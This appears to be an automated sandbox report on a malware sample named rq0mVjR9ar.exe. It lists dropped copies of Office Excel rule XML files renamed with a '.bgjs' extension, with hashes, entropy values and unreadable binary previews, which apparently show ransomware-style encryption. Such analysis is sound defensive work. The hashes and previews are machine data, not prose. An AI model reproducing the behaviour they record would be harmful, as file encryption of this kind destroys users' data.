Preview:	<?xml+.......ok_..mG.....".&C.w......~.B]hH.0Q........V..x%..Ga.V.UT.K....\...-Y.6s.`6;3...8Z.s2..H`^+s..\|........6.\|/w\|...M..Y..,...p../.....p#O.U......L..7.....AUaK6..\hw..J..O...%t...+....d8..!.....n.....$=+.,.n.&.aN.hQ'b.3K.Ryv.7......\|..2.w#.E...a.%7.=.V....L..S.7-.VQ.qe4.Ti.....C......Q.#>`?...K.k.V.h.wtsF-..u...e..5............??!j.A.:0...8,.ic.G.....i.Q...rw...-@....rk....L.G...$....}XX....k &:O.~...$.......].......T..[...S..o.bE...t..\|.iz_...j.'y.l...U.!#n..l....>.q....?].]x.Ck..},eB&.V/.....6..=..6....<.....c..8D.".$&28..B.C.x.M.8.-...9.i..2......F;..8.B29/..*/3.Q\``.g.....T..[.I#.../....C2i4.J..60........$X$s4r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.867761923847239
Encrypted:	false
SSDEEP:	24:fVksNZXfkB6YR6vYkR7tp0L/RlCiAciiExAIIH7FdR2IiTkbD:9ksTPW6fvY6cLplecidrO7FKZiD
MD5:	A7E731B94562755923A229B0994234B2
SHA1:	5793AEDBEC804E363E8A735BC03F871D16D5D638
SHA-256:	26BD90AC85B2CD0DC382ABBA7787B274BEAA97793858FA11372C9A43E087B209
SHA-512:	130A98E541BCA42B56E3BDD0AB995F4027BBB7FF9FA1679D5B3577664EFD7BD3297FD0039E432A2A8A82B7BBC6DC02A6A1D98429746402ED7B5A777DDBA6DBC6
Malicious:	false
Preview:	<?xmlBk.....{.i......X....r8...'....\|.........t.D.A.R.....(A.c.f..E...7....A...9 ... ..\|7....>...^...C......U...V..EN..1..s.e.S....R....(.L@S.b6.d.]..e.,.....0..v.'gI(.u.y.....D..Y..1..!...[...d.Z.........n..c9.S?...nH}v....L.L`...#F.A.>....\|.b..`#b...o...'....a.4L.O..6/....&..I&...6..v/@.q..7r.ed$.AQ).\".c.....R SU.A........p..;.".{.X6..jk..y.......s<....q.S.?I......4..I5.J..JV..2i[..w.C.Y.....k....A/.....W..Ae7n.+..Ej.6}...B....Ru..[3A(._aA..7<..IQ44...B.f./L..d.........4..\.VJJ............28}c.H!..7.5.)uHJ...J..nM... ..X...&NFP....}.>..o9....%.%".<f..d...z.-...<..).k..'.{&.W.f..v..x....a..(Y..%..K@{..$R..W./.....%......^..P.T+8v$...]..P....5b....+.'......6TQ.......tg...N.....#.......cb..^j..o..@.P....]. -...X/.....k.. &..NT.k[."..1].....#l....r.PDj..[V..s5h)w<...>......LN.......er./.j..Q!...S.}..R...*V..7f".2m..As.$.oA.k.........].mA.j.....#i...r...B.b..U........x..v.Ox.\|.\|....#+V.#.......OS.Z=.....4X~-Tlc8..K..iU.m..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.828982162447141
Encrypted:	false
SSDEEP:	24:N0bU0YtwmYvTtDcsNpQeqQfmp89Yau0fCzetLLRpx0dLQXZ/buGiTkbD:e4buvN7IQfe8d9azaPxeQJyjiD
MD5:	163105FE1EED9686B857D8BD9F728F34
SHA1:	2FD32375B9ED170FA4362690E64AA5E4C233DB9E
SHA-256:	31FD02AEA6C6EEED1703F1E699D2848E598B1741DD70F6E78704D3A71D555A66
SHA-512:	6032A4D8E08AB9929195B65969D89B948566818F34E4CE0CE87F39BFE0F5BD410F01C8B8CAC8A8D09E7840EC956825FA4256CEE58768C85A9E4DD49284318409
Malicious:	false
Preview:	<?xml^C..k>....5.7b....44......Y.../.....=^..... (9~.9ig...d...^"...<...v..`?y{....;.k.,.....bm6f..xb.g.....o5.[......K....{.'J.#.....'..C.s.......O.3..p.....A.=..m\|VK.m.....b...B....W.........)....2. ......K$#.....W..s.S.#.O.%..+6.u....E.L...f......X.U..I.O".C.`.`gz-.[....Gv.l..`..l.I.{.&.......].ZY.bAB...Af...46..~..ll.>.zp`.L...guu..a..Z..u..m....O..m.l;R~_...ZE%......=..d..H.sBP.D%Bk....[3...7./.,.W<y[..\|&.V.9w.WY....E.`..)...24;A1...9.... ...i..<..A..R..p.{.!...@.j....X.boX.;0-)R..<.G...[.YdQ...>n.U?c.4Y.t...u.....~.Q.3..b.E......;..........."..I.(k..0.$.....;k....m.%".+&.1..wP.....&}....4..z.w.o$.7.-..<Jr./....A...9..J....i../.).S..d.Q..<b.....g..<.g+..B...6.G*Os.D.{.]..6..%...8...-.JX./...........Q}5...o.t..;Ou..h.o.n.)...q..K.....Y..x.PZ.....jL..g..4B......l7.&.L4FI.,......sn.1..J.E...T....V..O..1d.Y..5.G.G.\|_9...Hz..h._E.$..w.7...KD.........K....^...uM&....].X.P.c.I@....g.N...\.[e._..a...W....kJ.L.V/..a9....g....%9.. .......^...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.8296091915105555
Encrypted:	false
SSDEEP:	24:JpxbbrkayZVA8UXVUj+6Ab/+xjQpnuSFjByI6MEXfLvAz9Q++Rj6D8L0biTkbD:BbboayrA8UX09Ab/XpnRxKURT+RWy0Oq
MD5:	03BA21FC1F53D0A60E70F2D37DDC6FC1
SHA1:	F8D3F164350C56973F9F321CB7CD37ADFE7E23FC
SHA-256:	79FE7421CAB3906E1F63FBA39598BF8B044DFF019A9EB64AD29F92AA75BC281A
SHA-512:	FB941CD0CCECFE9DE61678EEA6484AE997D9806DD7E13C54293BF54F28CA27A3DC87776D9EFD0422BF21B8FBA417AD607D303FF5292C5A538C84EBA33C321C7B
Malicious:	false
Preview:	<?xml.. {.@q...T.d.&.u%.j.+ ......\|..8<..V.<..}...S..........v.@Q........k.......p+.....]Fi.....u./..e.=.....o...tp[x..>..y..S.._(.}..NH.[~.<-.0&M.\w.0..Yj.S.e...be..B...U...qv.M?u.F....F..u..._....`...^....F2#.. T!..A..2..3x.Y..D$....M.Z.N.......zq.Ff99.!\..mj.u_..D..]..?M...'a\|d@6.F..x.._ds.9..)Z...1..5B.d.%...qZ=.4X#Dy.w~$K\|dTR..H.@y.......3.....w..<.c.^.....S...{.z.G..jq.1.v...Gb.5...(....a....(........J.1..i6V....~w1.xHuD.2/.........@.Dg.Wd.}....l\|..A.~t..j@,c\|-.@.M=/.5jH.7..s5.Xu.'\.i=..".....N K.....9....'.5.Bd....b.`...w.D.-.'..1c....;4.9..HQ....0Q..@......W.U.eq.3.....?.:R.G....Z..a.b...H%..}..w...7;.0..^....R(.....U.../.S......{../...:......"...a..!.T2....s..B.v.^.=.....T.LF...}..f......}h..h.\|;tLkv.v.-..q..eje..Xx/W+....9...A..[6VP<.$._....E.C..F...`"a.:x2.h......E.Mp...2B....T.`.?;8..."_.....#...........k.k.3...B..oLZJ..@......W.....0.....K...Y..../N=O....t.?i*..].:)..v..C.Vr.i..Z.\|. ...Zo.............$i...,...a.)..?....^.&

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.83561487075244
Encrypted:	false
SSDEEP:	24:A5dw3vn4HMKNauVFOOKsFMQz/Wyiw4mNUB0jXWVEwiTkbD:A5CviMoOOcQz/WvwdNUB07DBiD
MD5:	914C01CB22788966774A779F42F949AF
SHA1:	DE6072433E8CD3F0D7B1FD8804716F5653F3DAC0
SHA-256:	6E81EA9FF45FDAEB372D3D7F33D91FCDC34469CB487CD70D0CBE27727092D6AC
SHA-512:	6639E07C46C62F93A2CFE2C63BE257A8C721ECA49C1D952818BCE874FE4EF77430F634015E3176A756588906574F2B7252049946E0D11A9BD5963A8CD408F1BC
Malicious:	false
Preview:	<?xml=FE...A..7.ndv]s..+.t3Rk+..<..,.b..\| ..{w..kOM.b...(I$tE.9.".u.J......./.:!..q..jC.<..RPR>%.X,..d}...M.^.Q...h....?f....\|.a....#./.J.........g^..=..A...\|W~`....y.#...:.j:........m.j..cC..._..>T.....A...tQ?f..yqE.l:.....}='~.H...a.).'.5l>[hV... H.T.e;..W...T...Q..K..H.&.....t...d.....>G.......g+Is;.......~t.e=...)..^.8...~>\|M.9,p..2M....c.}".....Zdv...i".!G.5.F.z..{....p]a.!.........T&.gq..(8...; .~.z2d...N..^..8{sU..l./.F....]$W7....H..\|.........`Y.D.d.S....$.?.<...X..O....>!.i..Wm.m8..n.~..= ..bor.b...?...{y..7L^@m...<....(..\|8.....I.5..T\.......(...b..'...<...s.E...O.`'G...4#[...(3....-..D.<3.....l.c...X.w.d_5CInX.2..e..D.;~Q.79..:H.{..l0V`...S...N.......\..>..p.....:..B^.I.I......OS8..x..P3.1....M..z".jv......5.2&'.'..z.k.#j.{.=....b.r.i.......2..W.&X.......\8...e4R...v.8.u...#Cc,......j.X.....//.....l...1Z.i..k@..^y./..(E.%.p_.......[.N...!......U`.r....)....].>..L%..z!...n..a.1.!.:.0.A...w0Jy.He.........c..mi...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.688743933296903
Encrypted:	false
SSDEEP:	12:0WNIENFtOsGtK9dh8KfizrwLdEb5kC6mwBrW/1WEaD8xrkzYmixpZacii9a:tztxdTtmkC6dBq1WEaD8qtiTkbD
MD5:	B0B8D78AD6A7282EBF4A2445FF459BB4
SHA1:	AB077FD45DA5DBC3BB9CA9FEB9B1856FECF0D508
SHA-256:	ACFBA8C8A4CF87AA85E4333BC8DF6DCFEAC78C0DDC3C3381E2B959FC8F4BB9F0
SHA-512:	4AC3650DAC801E58205E8A114EC3F5B864AAAB77EFF6A1C0F9786C44170465E503191C0462AADC6352719B145BBE1C3C44A7C1574E69F41DE7B1B4A4D6E14AA1
Malicious:	false
Preview:	<?xml..Z.\|..3I...l\|.:\........2".............NR....3.7(.+V .w..[...-Jt...W.l..;.......W.'...S.<..aX..9.1.8u.Sd.Y2..~..).....4ETZ0s8.o^.F@.`....)uh.....8...... .Rb..&.p......{.rs...c]..}/)H.h.y..h.&.YU.%.s...._.K........O.z....D4....m.......u.....>..Dj.L.S.....kE....;.q&x.:..4."g..j2.q......N..w..?...o;(sXp~.k.....Z..B..Z..eE%....K.....5.=.M4.~..[..)C;Q#..{.$..j..$w..,...).F..q.m....^u(..k?..\|I9&m.5.:....X.#...s.`1...MA..\|.i..m..Q.....gq..\...e<..C..Ge..~...;.....t&.A%h...uI5T..~..h...XO)....K.5.}..F6.g^.....I.;....{.Y........=.....Nj..!.E...k...M...X.`.....%.M}..`l.5...O..-..x.<1....."..^5&q..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.852846976478284
Encrypted:	false
SSDEEP:	24:T+iSnHqaAQRh13QAJ3OxPDRNIW7ksK8bol3SW2ZWrA7HQf3mViTkbD:TjSnKavJQGePXKjL+KATQ/xiD
MD5:	127FC3A9B5CEC8F44A9CED44AC121257
SHA1:	D0232B8FE32A1D4F54F3FE7EFB03613E4C6960B6
SHA-256:	28A42D7E301C8FE8195A98D9E35A65555D467D2F198CBE68151DB0D75D1AAF3E
SHA-512:	A4DC7A75F3E7F70623036FDA4F6F129010CC3FAAF3387DFF17BFAF740378DFC23BC6F2348FAD9D38CCF8B236BF1BA5DC730A59E45A894571C857307421FE6219
Malicious:	false
Preview:	<?xml>GXS...#>.9.........n3.H.=+.C.".D.M.?...Sv..&..6_.K....T.....c....z.t.@................8w.......`.._;-...d}..v...5L...MdT.h{.p..#.a.1r...._........t.4.L:D.L....a%...=t7...=V.I..@6o....J.......BN.L....A4,V..p.~..+M.'7.3....@=......+...$...%......N.a..+.....7...w..X`.g.!tHr....~/...........7-.f{..{........{....;.....5r.I.".z.).Zxk.._..Y..3/9`..>..... .."g/..z..;.N....?..6..t..Hk..\+.N#W.....I+.`..o.M..`u+JQ....4p..nW...G.............l..k...X.../%.2.w.M..M.b&...h..f....D.......+.X..).E..k.:r=..Tb..XUz.3/..<.a.....]G.H..&9.Cicv..zb.1../.t...w~^.!..<....PG2.B.R.yB.J]#m.p..9...n...a..Qh....2C...w..L..B....G.N. .....{.L'tf..qz{.E......0(...v....U.[....Wz..\|...p......p$....L!58...P.m<l<P_.UZ...I.M....9_..dZ..>.l..vnz..t...>..z.Z.7.*...K.ZF\|...;....^'.>...x{......mK....[.......d"4BjX.o]h...T.SU.-.k`.....2..".\|R..H.V..n~Q.0...#uR&.u..T........Y./....R.(`..........G..........HG=H)k.l..~...#..3..H.@...>JW...o.T5.<X....iU8..Yi.7....9.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.7653821903723355
Encrypted:	false
SSDEEP:	24:VwYHF/YN0vLHYWC0/Q86ZktmiFAW7riTkbD:xHFi0vLJ//16WVFPKiD
MD5:	7827A3B712D470167E64C3FA880A6AE6
SHA1:	21C3AA1DB4607D11D69A648AC8BEC72403682920
SHA-256:	80170D79A1412AED9513CB81391BDF5F0107ADAAF03EF4B9B238DCC886FC1082
SHA-512:	238662E1875E1A9F3168A99785798CDD1A6267DEAD4783B45D16B3D9D1D0662746BB7DE0425AE3023E749CE118A4C180B822FE7F8554ED1808D5F4E1E781CFB6
Malicious:	false
Preview:	<?xml.9.xI...\|5L,Y...Ah..D[j#(..0..)..wA...NW.;...q^.:.$.......w.h....).xo.i-oSg..QY.=6(....B)O4"o..q...eCxKAjz.8...]. >.{d..1.Ccv2.. ......-}.>....&\.{L.z..By...\Q...c..yQ#.{...5...t.u..U..S...O)......0(.....l....."...@.R....Nu..C:{A,U.a...s..h.......b.N.J..a>..Rh.9..S.,."d.e...Z.y6..[...\.....#....R6=...^.4..Of..,..2...+...PQ86..=..S...S...C..@4...d....-...zj7...{.F<^..a.....8...U4....R.s..4.......{!....w7...;XK._.Wn..y....~..@.D.....xaY.x...c.".XQ._.............j).&os.`.......V.z...f.....^............V/VV.qi?..q...(PgL.d..../..Dq..q..V<..oO'2...Fu.)hB.....H..0...f7l8a...#.x..t!..:3.b.....SC.d..j.-j.>.^...oS......ft?.E..YdZ.e.]6<..8...6..d^.[..".....7)2...\.#.......,...T..M(.@.....;}.v..#?>.......Xg...~....mZUZ<}.s`W...G...;..3...F..YT^.En.q........-._...I.......F .)$......}.....".5.PN...\...A...z.%...d.;.....^......M...3.U.6..D^.~...p.....c..b.....{...........q....,0ir6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.689135970891042
Encrypted:	false
SSDEEP:	12:tkRmjvoPt2sjuJjeG/W4I6hDP2cGqwYGk5yL+VEa6ZQ2kL1UHIliHuu/ixpZaciD:yRavoPPOrjHB2cGvk5rejZQ2kgIl1u/1
MD5:	805618D95CA2A0EEE599E513009C95D4
SHA1:	FC1179DA156EC885EFD140892670C9D64203475C
SHA-256:	45E8D5887BF7B66B23F7EA0FD557547B34638FC168604B3177348102CFC16335
SHA-512:	AD3756DFAFE3BD9E3B20FC02D04885EBC2491F6A19E8EA9ED6DDD1B1415689D6B33C5FF22BB7325930E75C4F4A8896A5554DA89DEFC335758E6A9A8DD825462D
Malicious:	false
Preview:	<?xml.fhe.:.zt.E...EU...hU........?2.$.u..m.K739m.......E.OlD...{'....7..l\..o!...q9..W.L.e.C.=.a.'...~j...;.aPK92.(..KKKP.,..AS..l,...1...<.;90!.TO.........6.#.KL...g....J..W8.....XN...K....?.9.../$..G....>.t`}.)....8$....<Ys.#...?T..63.w.,!{...^.#.C.-.b..:"BY...W.)/..8..t.....LiLr.f.S.....\.t.=...-$mbR...;..9..V.B.$.v=.$.BU..W.O ..5.f=.....l@.....K+..g..+.Mpw7.......s.+3..m..iB3.7.@".ed.m...R..i..65@.t3.....?.....D....Y..P~4o..[.C..G..)kRH3V....2t....j.[D........S:(....._.q.]..8..`.o....&/....j....`.}YU..g..~.P..Oz........$........j.Q5.qtw.h..........c`2..5..`...<...n..."w.J..9....E[5..Z:..IZj~....d.p..jr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.723733037590478
Encrypted:	false
SSDEEP:	24:iDmYXIbyG0xnlJu3qh/W+6iM/MrPZPiTkbD:ii+9G8ny3qhWlitkiD
MD5:	4C79AC8CCC19B2734C316E68FA9808E3
SHA1:	98B9C72194071190F1A50E87B75BB47D27952272
SHA-256:	24E480D0965FE46B8510DD4710B7ED61A3DBACE3410B292BE6807EE4183FA02F
SHA-512:	4D86DAC6D16C90B1D931E5000A8BB7BEAC2CA7F5E1BC905FEA4550508B575986A8A507028F25620CE863E6E70A967F7C53C2CB089495FBA66B1AF755847BAE8A
Malicious:	false
Preview:	<?xml...j..+Q......=.^...O...]..XY+NSS...f...Nq@..O..1..W.=..V....,..k.f .`M.vP......rH. ...AK.......(.G.....K6;.](..X.........w..n..y\|.....#K .0.>up.5..4E]"..b.J.......N..Q.&1.9\|..n..9....w.... .~.,.:..6..O.[G.Y..C.....2.....uk....A...4!;.w..kG.JS.c5.5y7;..P...k.:.%.E\. hA.....?....-..:j;\...c.."..qaw...VKW....P.....C........;...j....... .\"......r...[c/../.B....v.........n........Svy.3.(.......6....q.j.66....J../MW\.m.<l..........t&......C..S..}.$...K..J.......[I+.RGC..i..9.PG..............?ro...FP......o.h....@.C..4f...6s...-.4$.........W...Z..VOqM.......?/k..a.m.bRB...]3.H.zg....h..,.)..f*0M.......f...).6..e.LQs.....<...S.U_.[.f..]..pyF...M.?(X..$G.......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.73740516611433
Encrypted:	false
SSDEEP:	12:hAdRVus1tUjWRpk3sK7p3f6l/XgXsp8JeM8GXHhVRuAt7TSti57jY2o6ixpZaciD:hOus1tUjWRpUs03f6l/YdwZUhb/7WtM1
MD5:	E846115787D9EF44565137F881D2CD34
SHA1:	0B7A929E9CEE2EDEC333609991723CAD417F7F24
SHA-256:	79027DB42153A0B9EDF2717D1E8793503AD1F00B3C6AF8A5405119819C78114A
SHA-512:	E484F13DE799A3C8CD25D81AE6B7961A97A6045A5F54AD5939918C28E2B27DEE2770DC71695E20E8DC19F56A2C133970DFB2E6C46994449A3167D2708F413E4E
Malicious:	false
Preview:	<?xml....4..>}V..$.$a..~wY........z3...X.f%jz.j.._..4:..$@.5...[.r..b.$..N...B.\|...+Y......... .U..'1w..?R...2......l..X..K.......0".s$@{..\|.L.L.hJ..5[/,.^..jW.w.x...G.S6.........,",6../.........Ci..\|.....pV..5..&h q:...'./...%...[.w.R..+....v.."{o.w...`...%p..v\F..}X..Bc.J.t.Ee.L.D.n.........h..`.....{..L.Qn."..!6..........4..+.....-.G1.@].....R.1e...;... ...5n.W`$.s:.A%..........g..k.C"..[...(..d.....X....A`Y....iN. <d..k.x[..m...g...'.....t...s]..S...+.....~a...=.......+....hq[...}.U,..y...7..x..%.?.W...T.S'c....3.u...<....U:....\|O.bc.h1v.q...3.!..px.....d9.<A.........lJ.I........G..s.k..u7.@......*M.t...l}r.k...=.......mr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170099v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	7.8238706342236295
Encrypted:	false
SSDEEP:	24:lmyqsWnDWxgXjIG/4ZUoOkIKoDEB8XQLusVcRULDV0c1MZiTkbD:lmyen6YATIVqDuYLG4iD
MD5:	70F32A30FD1E1CC388F7344BDD7976A9
SHA1:	2164CF8518A12C53E2B2A8B6A54D901515019ACB
SHA-256:	BF116F9C9E186C2CF8B70920F30D02B9B60671C82801DE398F1B0683F0FF3649
SHA-512:	7F6A1055BECCE3196BDB05A29D96D511454DD881AA5F6E34BBABDBAB9B4A7F31368821ECD00306112D23BF61B812F58AA96F71BC8E9EE1CD12E42DBE5917124C
Malicious:	false
Preview:	<?xml..Q.......(6x...R...H...z...M,.u.f.@..<1c....F.I#-....~[......../h...n...3...uj.9yG.+.z.......kV....._$......a#.p....[.......8....~.E/d....h....-..)...h...^('A...W.G..Y..pB....v.....<\|q@_gr.l..&[...V-,S.....Wa.9..V-....\.;}.. r.K.dP..Bc...+.r....C......p".):.r.{S.P$.tq..H.z...t..@l$M.."......Q'.....~......U,..fo<0....V>..%}..X.+W.c.}%4\...,I.....D7BR6.'.F_^G;..$.A......,T.O....u.[.+.....FA.).\.......0...%....h.6..V..#F_m.T.Wvi1.....ey....?..}...0!...O.x'..........[..2\|0..Lx~.....C....<.n.?...p...\|.9.bc...........}.R.W=S..x...x.O/E... .sg...`..%..J.....y.nK.'.7.AwR._F'j.^fE}\|j.F.n{....:....../^U)..$.d.....n../.....p.Fm......Rl3....1.x.h9.3n.\.,i....#..[l.D?`.$4f...y.0.H.?..)...5....8kh.za..Ge}......m......6..zT_...-bRx.y..H./u....]..^....es......5......... ..L...d.UP...c..x.a.r..(..w..P..x..Vy.'N..$bZ..Ytc.....6......8.)u.YW......NaV..N.o.......c.....K>cL..7.....0.&.15j..n......y..5..H.C.U.;J.]......V..{......W=_......c.V...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170103v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4285
Entropy (8bit):	7.9630058024787385
Encrypted:	false
SSDEEP:	96:d1+k3Q7tRzmOCZn+sxVYXxlu1rtHyIgiVLhckODwtvQSyMmHCSMbsX:33A7tR3CZn1H2u1rVyIgYykJ7yMmHSbg
MD5:	EE02A562DF166D6FC3B8C725A7D1DC93
SHA1:	64953C23ECA52AE8A13068178C21BC9E5697CBC7
SHA-256:	6BC6EC2DECD8F0E72F9EF2A8C4633AC3777D5919715A0829F3E032479F630D31
SHA-512:	975F4599DFC85E653389853ACE5FCCCC3FAA95D620F77413514307E082C730E9BCCA7A56CFC8ECAE04D5F919132BE6E50814BAA090E0393A82C554D2B310A7C2
Malicious:	false
Preview:	<?xml'.yC.........H....^..;v".2.d..3!.d..]_.O\&.....'t.[<..R...<.4.... \..8....G'NKy.F.u..,..B..t..6..h.k.^%o.}s.....bKx.yZ..Jo.[/.\.X.8...3..pi....$.......s.+.no........T.......lYp...B{l.g.i.J..y......\.....{.....2.`..1.;{?`....}..,GD.....!.O".'.3x/.ak.j.......t.F7......L..`.n.......a.'.$...eU.Ji.Z....5.~.T.\v.......4.x*w..R...9.............mJ..I.A..9........i......zEtsa.0h.Z.4 .$H.z....8s..#X ..b.Q.f.y".n.q...V=...'..% ...6..g.3....K.T..:..vg..B...@..eq..).P...d.I6w.<......Q.=.....j...S.HF..2L@XU..2.<.i.r.4.........Kk.};.tuPx...# ...!..n.M...i.z.c...5J.3..?....K...P.{A....~L^V....u6..bU...;...,..=s.tbE...p.7......O..4...p]....F..r.....3C..O..C"..J.......3...........$.l2,..k.(y7)S...5sl0..f^.k:.....5%..\l..D.s....6.....f......@.~...k1.mf.yL.Z.....Y..p..[.H....#..h.#.W.0%RVo2.\x@.B ......`.=......pt.@.o.m;.Tu.U..%3.U.q....KH....zd..]#..P....cF.#..m-.4.ts.u`$...+.#kM..yv...&.K..D\|$d{n.2..r.._....g..?.S.:h.W..qb\|..}..1z..;...T.....4.k.K....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170104v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.746438771753508
Encrypted:	false
SSDEEP:	24:NBdaSKPZOmilBvOuNnpeXDTHpdTef1NJq9SziTkbD:RaxeHzNpeXnJdexBGiD
MD5:	EF9447E37BBD4CC2CF703829955BEA5A
SHA1:	2AB65F4F89FB8959F5AF007DF2E8EF9E841E1B8C
SHA-256:	B82FD68766F7457D9AF07D05423979A4216429284243CAF5A64AF2ACCFD64699
SHA-512:	616C590B7AE1DD009ACA030721A6902E2CE1BDDFE6F117430F97A4588913D8FC4ADED02276866F9F6D84E8BEDCAF271A91F6919301370935AF3F66E6D8B1B318
Malicious:	false
Preview:	<?xml.....~...0..K1g.....k....1-=#.....8....R]....B...b...m;..'R....w.\....y.W...e$N..#....yr...q...\...t#..KT...F....[.q.......q....Bnkw4....8....."E.....F...l.5b..=0.../..z,9{..\|..x...\"Z21....-.X1.2F..C..._..D....c....66X.?.}..g.a.,.>\|....c.l...%3,.O{.A..{.)M...?-.l.X.,w.$)....n....7./.>`6#....4...C.W....[.z..%.q...*eU1.Q....ZOZ......X..v...c..) WXnYa#.8.SI:....q...p.d.".:?...P..uh;....).\..{.......N\..'..vZN./..f.N,4!..'d.._..r"G..Y..C.X..z..;6.(...i....X@.S..O76G...K..U-..:9hU.}...P5.Y........k..;p....C.....]...9..0.....$.1...t7.J.........n5.....LGe.....uh..Tq.a>......$......\|...V.....6.....K.W.W.(..w.......i.~M.{.1..M.Y.e8D.v.`1.10;...-{......I.u.Ab..0...^.......g.`...a:..s..&.\|..Y..:.\...~....>b.(}Pr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170105v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.758996937737207
Encrypted:	false
SSDEEP:	24:IO8+k6/c/rIJt0erz+6wLDyYydCyXiucdAybiTkbD:7k60/20ery6wPdAyOiD
MD5:	3DD141CB0E7A9169379501BDB9F311D0
SHA1:	82D09744D6AB0AB89C2488BF314BF8A9EF715FC1
SHA-256:	A2FBD83D57223FE2CF1D3709AFEDE4031B6DAEE57B9F2136637105A22FFB3188
SHA-512:	7DA17424F7ED600904698C22FB04E4A5D709D15A358AF7DDD29548830A01F293C24C8B5F6E6CB52D6E1E5F76C4F76548B27C0D7E43926F673C51A90B33E47255
Malicious:	false
Preview:	<?xml50vO.........i.JlB.t#..M.]......C.\...l.,...n.;..D....Jt..+..hk.h.x ...1'&u/r....2...H..P.;>..Bq.>.P.B+).......... ....l6p.k...D.^zU..;.\.f.,..V.+.r...kj....%.G..ob......,k...\|q.....S....m...#l.L.AB.}...qQ{..EEF..)5%Y.C....>.s..p..$.r........?.y,??....\...._..[..'...7{ZpN..5:.f....!K.y4..\.5s.T...#."y.\_..".........1.N3..'.n.j....I+&.t{{.HY3.'..I(\....l+(.t.q....h....T....85.I...y\|.#..6L.......d.,00._.......K.....,\|.y....#.#...=Q.p.c'Q..Z....~.Y.P.{..K.%........T.\|.H~....8. ......h.F........Y...3.m.........3.C...,....uZx....D^.....V..\|.....#exR.X.u..O..U..u..l.p.6,._Pr8.l.h.....f..\T}.....~.m......8....^...e.3..}.E...~G...K.=5E.$.o...\1.[k.\.4y.!D..Z.%.s.Ue.j.c.i.i.f.4...k?$l2d...K3"R.r...r....D.&.?.q._O..rAO..Cl..].......Q.[..I.;......y..DX....E2.U4g...m....m...@%.."...f...2...!.V.&...z..i....G6'Ir6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170106v2.xml.bgjs (copy)

Download File

